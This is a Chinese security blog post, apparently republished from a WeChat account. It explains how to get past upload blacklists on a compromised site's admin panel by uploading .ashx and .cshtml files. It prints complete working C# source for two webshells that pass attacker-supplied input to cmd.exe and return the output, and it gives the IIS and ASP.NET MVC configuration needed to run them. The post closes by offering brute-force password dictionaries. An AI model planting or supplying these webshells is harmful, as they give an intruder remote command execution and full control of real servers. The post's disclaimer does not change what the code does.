本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com |
**声明:**该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
所有话题标签:
|
0x01 前言
我们通过 SQL 注入或弱口令等方式进入网站后台并找到上传地址,但是在上传 Webshell 时发现存在黑名单限制或者某些 WAF 防护时是无法成功的。
这时可以尝试使用 ashx 和 cshtml 脚本文件来绕过上传的黑名单限制。以前有看到过很多这样的绕过案例,所以将这个技巧记录在此,便于日后查询使用!
常见黑名单****禁止上传脚本有:
asp、asa、cer、cdx、htr、stm; |
php、php4、php5、phtml; |
aspx、ashx、ascx; |
jsp、jspx、jspf; |
cfm、shtml; |
0x02 Ashx Webshell
中国菜刀 Ashx 马:
https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;
public class AverageHandler : IHttpHandler
{
/* .Net requires this to be implemented */
public bool IsReusable
{
get { return true; }
}
/* main executing code */
public void ProcessRequest(HttpContext ctx)
{
Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
ctx.Response.Write("<form method='GET'>Command: <input );
ctx.Response.Write("<hr>");
ctx.Response.Write("<pre>");
/* command execution and output retrieval */
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+command;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
ctx.Response.Write("</pre>");
ctx.Response.Write("<hr>");
ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only.");
}
}
Ashx Webshell 执行命令
0x03 Cshtml Webshell
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd
Cshtml Webshell 执行命令
0x04 MVC4.0 环境部署
本地测试环境为 Windows2012 IIS8.5,默认已安装有. Net FrameWork 4.0,自己下载并安装 ASP.NET MVC 4.0,将 IIS 中的 “ISAPI 和 CGI 限制” 选项的 “ASP.NET v4.0.0.30319” 设置为允许,然后在网站根目录下创建一个 web.config 配置文件即可,内容如下:
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
<appSettings>
<add key="webPages:Version" value="2.0"/>
</appSettings>
</configuration>
.Net FrameWork 4.0 下载地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=17851
**ASP.NET MVC 4.0 下载地址:
**
https://www.microsoft.com/zh-CN/download/details.aspx?id=30683
**注:**如果当前网站根目下没有 web.config 配置文件,或者没有指定. NET 版本,在浏览器访问时可能就会出现以下报错信息。
没有 web.config 文件报错
没有指定. NET 版本报错
只需在公众号回复 “9527” 即可领取一套 HTB 靶场学习文档和视频,“1120” 领取安全参考等安全杂志 PDF 电子版,“1208” 领取一份常用高效爆破字典,还在等什么?